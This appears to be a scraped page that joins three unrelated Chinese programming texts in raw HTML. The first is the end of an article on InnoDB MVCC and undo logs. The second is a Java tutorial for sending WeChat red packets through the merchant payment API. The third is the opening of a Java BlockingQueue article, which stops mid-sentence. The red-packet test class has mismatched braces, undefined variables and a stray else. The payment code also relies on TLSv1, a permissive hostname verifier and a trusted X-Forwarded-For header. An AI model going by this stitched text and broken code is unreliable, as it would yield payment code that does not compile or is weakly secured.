src="/upload/f2bee234fbbca1aef30676e2783e9815.png" data-type="png" data-w="415" style=""></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">可以看到：</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(1)<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">被删除的旧数据恢复了；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(2)<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">被修改的旧数据也恢复了；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(3)<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">被插入的数据，删除了；</span></span></p> <p><img class="" data-copyright="0" data-ratio="0.35436893203883496" data-s="300,640" src="/upload/b6d46574c4482145306f855f2c3ce00a.png" data-type="png" data-w="412"><br></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">事务回滚成功，一切如故。</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="letter-spacing: 1px;font-size: 16px;"><strong><span style="letter-spacing: 1px;font-family: 宋体;">四、</span>InnoDB</strong><strong><span style="letter-spacing: 1px;font-family: 宋体;">是基于多版本并发控制的存储引擎</span></strong></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">《<a href="http://mp.weixin.qq.com/s?__biz=MjM5ODYxMDA5OQ==&amp;mid=2651961428&amp;idx=1&amp;sn=31a9eb967941d888fbd4bb2112e9602b&amp;chksm=bd2d0d888a5a849e7ebaa7756a8bc1b3d4e2f493f3a76383fc80f7e9ce7657e4ed2f6c01777d&amp;scene=21#wechat_redirect" target="_blank">大数据量，高并发量的互联网业务，一定要使用InnoDB</a>》提到，</span>InnoDB<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">是高并发互联网场景最为推荐的存储引擎，根本原因，就是其<strong>多版本并发控制</strong>（</span></span><span style="letter-spacing: 1px;font-size: 12px;">Multi Version Concurrency Control, MVCC</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">）。</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">行锁，并发，事务回滚</span><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">等多种特性都和</span>MVCC<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">相关。</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">MVCC就是<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">通过“读取旧版本数据”来降低并发事务的锁冲突，提高任务的并发度。</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">核心问题：</span></strong></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">旧版本数据存储在哪里？</span></strong></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">存储旧版本数据，对</span>MySQL</strong><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">和</span>InnoDB</strong><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">原有架构是否有巨大冲击？</span></strong></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">通过上文</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">undo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志</span></span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">和</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;color: rgb(255, 76, 0);">回滚段</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">的铺垫，这两个问题就非常好回答了：</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(1)<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">旧版本数据存储在回滚段里；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(2)<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">对</span>MySQL<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">和</span>InnoDB<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">原有架构体系冲击不大；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">InnoDB<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">的内核，会对所有</span>row<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">数据增加三个内部属性：</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(1)<strong>DB_TRX_ID</strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，</span>6<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">字节，记录每一行最近一次修改它的事务</span>ID<span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(2)<strong>DB_ROLL_PTR</strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，</span>7<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">字节，记录指向回滚段</span>undo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志的指针；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(3)<strong>DB_ROW_ID</strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，</span>6<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">字节，单调递增的行</span>ID<span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><strong>InnoDB</strong><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">为何能够做到这么高的并发？</span></strong></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">回滚段里的数据，其实是历史数据的</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;color: rgb(255, 76, 0);">快照</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">（</span><span style="letter-spacing: 1px;font-size: 12px;">snapshot</span><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">），这些数据是不会被修改，</span>select<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">可以肆无忌惮的并发读取他们。</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">快照读</span></strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">（</span><span style="letter-spacing: 1px;font-size: 12px;">Snapshot Read</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">），这种<strong>一致性不加锁的读</strong>（</span><span style="letter-spacing: 1px;font-size: 12px;">Consistent Nonlocking Read</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">），就是</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">InnoDB<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">并发如此之高的核心原因之一</span></span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">。</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">这里的<strong>一致性</strong>是指，事务读取到的数据，要么是事务开始前就已经存在的数据（当然，是其他已提交事务产生的），要么是事务自身插入或者修改的数据。</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">什么样的</span>select</strong><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">是快照读？</span></strong></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">除非显示加锁，</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">普通的</span>select<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">语句都是快照读</span></span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，例如：</span></p> <p><span style="letter-spacing: 1px;font-size: 12px;">select * from t where id&gt;2;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">这里的</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">显示加锁，非快照读</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">是指：</span></p> <p><span style="letter-spacing: 1px;font-size: 12px;">select * from t where id&gt;2 <strong>lock in share mode</strong>;</span></p> <p><span style="letter-spacing: 1px;font-size: 12px;">select * from t where id&gt;2 <strong>for update</strong>;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">问题来了，这些显示加锁的读，是什么读？会加什么锁？和事务的隔离级别又有什么关系？</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;"><br></span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">本节的内容已经够多了，且听下回分解。</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">总结</span></strong></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(1)<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">常见并发控制保证数据一致性的方法有<strong>锁</strong>，<strong>数据多版本</strong>；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(2)<strong><span style="font-family:宋体;">普通锁</span></strong></span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);font-family: 宋体;">串行</span><span style="font-size: 14px;letter-spacing: 1px;font-family: 宋体;">，<strong>读写锁</strong></span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);font-family: 宋体;">读读并行</span><span style="font-size: 14px;letter-spacing: 1px;font-family: 宋体;">，<strong>数据多版本</strong></span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);font-family: 宋体;">读写并行</span><span style="font-size: 14px;letter-spacing: 1px;font-family: 宋体;">；</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(3)<strong>redo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志</span></strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">保证</span></span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">已提交事务的</span>ACID<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">特性</span></span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，设计思路是，通过顺序写替代随机写，提高并发；</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(4)<strong>undo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志</span></strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">用来</span></span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">回滚未提交的事务</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，它存储在回滚段里；</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(5)InnoDB<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">是基于</span><strong>MVCC</strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">的存储引擎，它利用了存储在回滚段里的</span>undo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志，即数据的旧版本，提高并发；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(6)InnoDB<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">之所以并发高，</span></span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">快照读不加锁</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">；</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(7)InnoDB<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">所有</span></span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">普通</span>select<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">都是快照读</span></span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">；</span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">画外音：</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">本文的知识点均基于</span>MySQL5.6<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">。</span></span></em></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;"><br></span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">希望大家有收获，下一篇继续深入InnoDB的<strong>锁</strong>。</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;"><br></span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">希望通俗的技术文被更多人看到，求帮</span><span style="font-family: 宋体;font-size: 16px;"><strong><span style="font-family: 宋体;letter-spacing: 1px;color: rgb(255, 76, 0);">转</span></strong></span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">。</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;"><br></span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">相关文章：</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">《<a href="http://mp.weixin.qq.com/s?__biz=MjM5ODYxMDA5OQ==&amp;mid=2651961428&amp;idx=1&amp;sn=31a9eb967941d888fbd4bb2112e9602b&amp;chksm=bd2d0d888a5a849e7ebaa7756a8bc1b3d4e2f493f3a76383fc80f7e9ce7657e4ed2f6c01777d&amp;scene=21#wechat_redirect" target="_blank">InnoDB，5项最佳实践，知其所以然？</a>》</span></p>

<section class="xmteditor" style="display:none;" data-tools="新媒体管家" data-label="powered by xmt.cn"></section> <p style="text-align: center;"><img class="rich_pages" data-ratio="0.5471698113207547" data-s="300,640" src="/upload/39c9a2ad41bb831c16613bd249045c7a.png" data-type="png" data-w="1431" style="color: inherit;font-size: inherit;font-weight: bold;font-family: &quot;Helvetica Neue&quot;, Helvetica, &quot;Hiragino San

java调用微信发送红包 #### 配置信息Const.java ``` public class Const { public static final String WXAPPID = "appid" ; //商户appid public static final String MCH_ID = "商户号" ; //商户号 public static final String KEY = "API初始密钥" ; //API初始密钥 public static final String URL = "https://api.mch.weixin.qq.com/mmpaymkttransfers/sendredpack";//微信api接口 public static final String KEYSTORE_FILE = "D:/zhengshu/apiclient_cert.p12";//证书存放地址 public static final String KEYSTORE_PASSWORD = "商户密码"; } ``` #### Md5.java ``` package cn.studyjava.weixin.util; import java.security.MessageDigest; public class Md5 { private static String byteArrayToHexString(byte b[]) { StringBuffer resultSb = new StringBuffer(); for (int i = 0; i < b.length; i++) resultSb.append(byteToHexString(b[i])); return resultSb.toString(); } private static String byteToHexString(byte b) { int n = b; if (n < 0) n += 256; int d1 = n / 16; int d2 = n % 16; return hexDigits[d1] + hexDigits[d2]; } public static String MD5Encode(String origin, String charsetname) { String resultString = null; try { resultString = new String(origin); MessageDigest md = MessageDigest.getInstance("MD5"); if (charsetname == null || "".equals(charsetname)) resultString = byteArrayToHexString(md.digest(resultString .getBytes())); else resultString = byteArrayToHexString(md.digest(resultString .getBytes(charsetname))); } catch (Exception exception) { } return resultString; } private static final String hexDigits[] = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f" }; } ``` #### RedPaperUtil.java ``` package cn.studyjava.weixin.util; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.InputStreamReader; import java.security.KeyStore; import java.text.SimpleDateFormat; import java.util.Date; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.Random; import java.util.Set; import java.util.SortedMap; import java.util.TreeMap; import javax.net.ssl.SSLContext; import javax.servlet.http.HttpServletRequest; import org.apache.http.HttpEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpPost; import org.apache.http.conn.ssl.SSLConnectionSocketFactory; import org.apache.http.conn.ssl.SSLContexts; import org.apache.http.entity.StringEntity; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.dom4j.Document; import org.dom4j.Element; import org.dom4j.io.SAXReader; public class RedPaperUtil { /** * * @param nonce_str * 随机字符串 * @param mch_billno * 商户订单 * @param mch_id * 商户号 * @param wxappid * 商户appid * @param nick_name * 提供方名称 * @param send_name * 用户名 * @param re_openid * 用户openid * @param total_amount * 付款金额 单位 分 * @param min_value * 最小红包 单位 分 * @param max_value * 最大红包 单位 分 （最小金额等于最大金额：min_value=max_value=total_amount） * @param total_num * 红包发送总人数 * @param wishing * 红包祝福语 * @param client_ip * ip地址 * @param act_name * 活动名称 * @param remark * 备注 */ public static Map<String, Object> redPaper(String nonce_str, String mch_billno, String nick_name, String send_name, String re_openid, String total_amount, String min_value, String max_value, String total_num, String wishing, String client_ip, String act_name, String remark) { Map<String, Object> map = new HashMap<String, Object>(); map.put("nonce_str", nonce_str);// 随机字符串 map.put("mch_billno", mch_billno);// 商户订单 map.put("mch_id", Const.MCH_ID);// 商户号 map.put("wxappid", Const.WXAPPID);// 商户appid map.put("nick_name", nick_name);// 提供方名称 map.put("send_name", send_name);// 用户名 map.put("re_openid", re_openid);// 用户openid map.put("total_amount", total_amount);// 付款金额 map.put("min_value", min_value);// 最小红包 map.put("max_value", max_value);// 最大红包 map.put("total_num", total_num);// 红包发送总人数 map.put("wishing", wishing);// 红包祝福语 map.put("client_ip", client_ip);// ip地址 map.put("act_name", act_name);// 活动名称 map.put("remark", remark);// 备注 map.put("sign", createSign(map));// 签名 return map; } /** * 微信支付签名算法sign * * @param map * @return */ @SuppressWarnings("rawtypes") public static String createSign(Map<String , Object> map) { SortedMap<Object,Object> parameters = new TreeMap<Object,Object>(); for (Map.Entry<String, Object> m : map.entrySet()) { parameters.put(m.getKey(), m.getValue().toString()); } StringBuffer sb = new StringBuffer(); Set es = parameters.entrySet();// 所有参与传参的参数按照accsii排序（升序） Iterator it = es.iterator(); while (it.hasNext()) { Map.Entry entry = (Map.Entry) it.next(); String k = (String) entry.getKey(); Object v = entry.getValue(); if (null != v && !"".equals(v) && !"sign".equals(k) && !"key".equals(k)) { sb.append(k + "=" + v + "&"); } } sb.append("key=" + Const.KEY); String sign = Md5.MD5Encode(sb.toString(), "UTF-8") .toUpperCase(); return sign; } /** * 创建xml * @param map * @return */ public static String createXML(Map<String, Object> map){ String xml = "<xml>"; Set<String> set = map.keySet(); Iterator<String> i = set.iterator(); while(i.hasNext()){ String str = i.next(); xml+="<"+str+">"+"<![CDATA["+map.get(str)+"]]>"+"</"+str+">"; } xml+="</xml>"; return xml; } /** * 随机数值 * * @return */ public static String buildRandom() { String currTime = getCurrTime(); String strTime = currTime.substring(8, currTime.length()); int num = 1; double random = Math.random(); if (random < 0.1) { random = random + 0.1; } for (int i = 0; i < 1; i++) { num = num * 10; } return (int) ((random * num)) + strTime; } /** * 获取当前时间 yyyyMMddHHmmssSSS * @return String */ public static String getCurrTime() { Date now = new Date(); SimpleDateFormat outFormat = new SimpleDateFormat("yyyyMMddHHmmssSSS"); String s = outFormat.format(now); System.out.println(s); return s; } /** * 订单号生成 商户号+当前时间+1位随机数 * * @param map * @return */ public static String getOrderNo() { String order = Const.MCH_ID +getCurrTime(); Random r = new Random(); for (int i = 0; i < 1; i++) { order += r.nextInt(9); } System.out.println(order.length()-10-8); return order; } /** * 获取ip * * @param request * @return */ public static String getIpAddr(HttpServletRequest request) { String ip = request.getHeader("x-forwarded-for"); if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { ip = request.getHeader("PRoxy-Client-IP"); } if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { ip = request.getHeader("WL-Proxy-Client-IP"); } if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { ip = request.getRemoteAddr(); } if (null == ip) { ip = ""; } if (!"".equals(ip)) { String[] ipArr = ip.split(","); if (ipArr.length > 1) { ip = ipArr[0]; } } return ip; } /** * 发送红包 * @param data xml格式数据 * */ @SuppressWarnings("unchecked") public static Map<String, String> doSendMoney(String data) throws Exception { KeyStore keyStore = KeyStore.getInstance("PKCS12"); FileInputStream instream = new FileInputStream(new File(Const.KEYSTORE_FILE));//P12文件目录 try { keyStore.load(instream, Const.KEYSTORE_PASSWORD.toCharArray());//这里写密码..默认是你的MCHID } finally { instream.close(); } SSLContext sslcontext = SSLContexts.custom() .loadKeyMaterial(keyStore, Const.KEYSTORE_PASSWORD.toCharArray())//这里也是写密码的 .build(); SSLConnectionSocketFactory sslsf = new SSLConnectionSocketFactory(sslcontext, new String[] { "TLSv1" }, null, SSLConnectionSocketFactory.BROWSER_COMPATIBLE_HOSTNAME_VERIFIER); CloseableHttpClient httpclient = HttpClients.custom().setSSLSocketFactory(sslsf).build(); try { HttpPost httpost = new HttpPost(Const.URL); // 设置响应头信息 httpost.addHeader("Connection", "keep-alive"); httpost.addHeader("Accept", "*/*"); httpost.addHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); httpost.addHeader("Host", "api.mch.weixin.qq.com"); httpost.addHeader("X-Requested-With", "XMLHttpRequest"); httpost.addHeader("Cache-Control", "max-age=0"); httpost.addHeader("User-Agent", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) "); httpost.setEntity(new StringEntity(data, "UTF-8")); CloseableHttpResponse response = httpclient.execute(httpost); try { HttpEntity entity = response.getEntity(); BufferedReader responseBuffer = new BufferedReader( new InputStreamReader((entity.getContent()))); SAXReader reader = new SAXReader(); Document document = reader.read(responseBuffer); Element root = document.getRootElement(); List<Element> elementList = root.elements(); Map<String, String> remap = new HashMap<String, String>(); for (Element e : elementList) remap.put(e.getName(), e.getText()); return remap; } finally { response.close(); } } finally { httpclient.close(); } } } ``` #### 测试类 ``` public static void main(String[] args) { Map<String, Object> map = RedPaperUtil.redPaper(RedPaperUtil.buildRandom(), RedPaperUtil.getOrderNo(), "Java学习论坛", "Java学习论坛", fromUserName, money+"", money+"", money+"", "1", "工作顺利", RedPaperUtil.getIpAddr(request), "你收到一个红包", "感谢关注Java学习论坛"); } System.out.println(RedPaperUtil.createXML(map)); Map<String, String> remap = RedPaperUtil.doSendMoney(RedPaperUtil.createXML(map)); if("FAIL".equals(remap.get("return_code"))){ ciaActivity.setCheckStatus(Const.RED_BAG_SUC_STATUS); ciaActivityService.updateCiaActivityByExample(ciaActivity, ciaActivityExample); respContent=remap.get("return_msg"); }else if("SUCCESS".equals(remap.get("return_code"))){ return ; else{ return ; } } ```

<p style="max-width: 100%;min-height: 1em;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(255, 0, 0);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(255, 41, 65);line-height: 22.4px;">（点击</span><span style="max-width: 100%;line-height: 22.4px;color: rgb(0, 128, 255);">上方公众号</span><span style="max-width: 100%;color: rgb(255, 41, 65);line-height: 22.4px;">，可快速关注）</span></span></p> <p style="max-width: 100%;min-height: 1em;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-align: justify;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <blockquote style="max-width: 100%;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-align: justify;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"> <p style="max-width: 100%;min-height: 1em;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">来源：JavaDoop ，</span></p> <p style="max-width: 100%;min-height: 1em;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">javadoop.com/post/java-concurrent-queue</span></p> </blockquote> <p><br></p> <p>最近得空，想写篇文章好好说说 java 线程池问题，我相信很多人都一知半解的，包括我自己在仔仔细细看源码之前，也有许多的不解，甚至有些地方我一直都没有理解到位。</p> <p><br></p> <p>说到线程池实现，那么就不得不涉及到各种 BlockingQueue 的实现，那么我想就 BlockingQueue 的问题和大家分享分享我了解的一些知识。</p> <p><br></p> <p>本文没有像之前分析 AQS 那样一行一行源码分析了，不过还是把其中最重要和最难理解的代码说了一遍，所以不免篇幅略长。本文涉及到比较多的 Doug Lea 对 BlockingQueue 的设计思想，希望有心的读者真的可以有一些收获，我觉得自己还是写了一些干货的。</p> <p><br></p> <p>本文直接参考 Doug Lea 写的 java doc 和注释，这也是我们在学习 java 并发包时最好的材料了。希望大家能有所思、有所悟，学习 Doug Lea 的代码风格，并将其优雅、严谨的作风应用到我们写的每一行代码中。</p> <p><br></p> <p><strong><span style="color: rgb(255, 76, 65);">BlockingQueue</span></strong></p> <p><br></p> <p>开篇先介绍下 BlockingQueue 这个接口的规则，后面再看其实现。</p> <p><br></p> <p>首先，最基本的来说， BlockingQueue 是一个先进先出的队列（Queue），为什么说是阻塞（Blocking）的呢？是因为 BlockingQueue 支持当获取队列元素但是队列为空时，会阻塞等待队列中有元素再返回；也支持添加元素时，如果队列已满，那么等到队列可以放入新元素时再放入。</p> <p><br></p> <p>BlockingQueue 是一个接口，继承自 Queue，所以其实现类也可以作为 Queue 的实现来使用，而 Queue 又继承自 Collection 接口。</p> <p><br></p> <p>BlockingQueue 对插入操作、移除操作、获取元素操作提供了四种不同的方法用于不同的场景中使用：1、抛出异常；2、返回特殊值（null 或 true/false，取决于具体的操作）；3、阻塞等待此操作，直到这个操作成功；4、阻塞等待此操作，直到成功或者超时指定时间。总结如下：</p> <p><br></p> <p style="text-align: center;"><img class="" data-ratio="0.222397476340694" data-s="300,640" src="/upload/41a28f83606297ddea85db498ee7c9ea.png" data-type="png" data-w="1268" style=""></p> <p><br></p> <p>BlockingQueue 的各个实现都遵循了这些规则，当然我们也不用死记这个表格，知道有这么回事，然后写代码的时候根据自己的需要去看方法的注释来选取合适的方法即可。</p> <p><br></p> <p>对于 BlockingQueue，我们的关注点应该在 put(e) 和 take() 这两个方法，因为这两个方法是带阻塞的。</p> <p><br></p> <p>BlockingQueue 不接受 null 值的插入，相应的方法在碰到 null 的插入时会抛出 NullPointerException 异常。null 值在这里通常用于作为特殊值返回（表格中的第三列），代表 poll 失败。所以，如果允许插入 null 值的话，那获取的时候，就不能很好地用 null 来判断到底是代表失败，还是获取的值就是 null 值。</p> <p><br></p> <p>一个 BlockingQueue 可能是有界的，如果在插入的时候，发现队列满了，那么 put 操作将会阻塞。通常，在这里我们说的无界队列也不是说真正的无界，而是它的容量是 Integer.MAX_VALUE（21亿多）。</p> <p><br></p> <p>BlockingQueue 是设计用来实现生产者-消费者队列的，当然，你也可以将它当做普通的 Collection 来用，前面说了，它实现了 java.util.Collection 接口。例如，我们可以用 remove(x) 来删除任意一个元素，但是，这类操作通常并不高效，所以尽量只在少数的场合使用，比如一条消息已经入队，但是需要做取消操作的时候。</p> <p><br></p> <p>BlockingQueue 的实现都是线程安全的，但是批量的集合操作如 addAll, containsAll, retainAll 和 removeAll 不一定是原子操作。如 addAll(c) 有可能在添加了一些元素后中途抛出异常，此时 BlockingQueue 中已经添加了部分元素，这个是允许的，取决于具体的实现。</p> <p><br></p> <p>BlockingQueue 不支持 close 或 shutdown 等关闭操作，因为开发者可能希望不会有新的元素添加进去，此特性取决于具体的实现，不做强制约束。</p> <p><br></p> <p>最后，BlockingQueue 在生产者-消费者的场景中，是支持多消费者和多生产者的，说的其实就是线程安全问题。</p> <p><br></p> <p>相信上面说的每一句都很清楚了，BlockingQueue 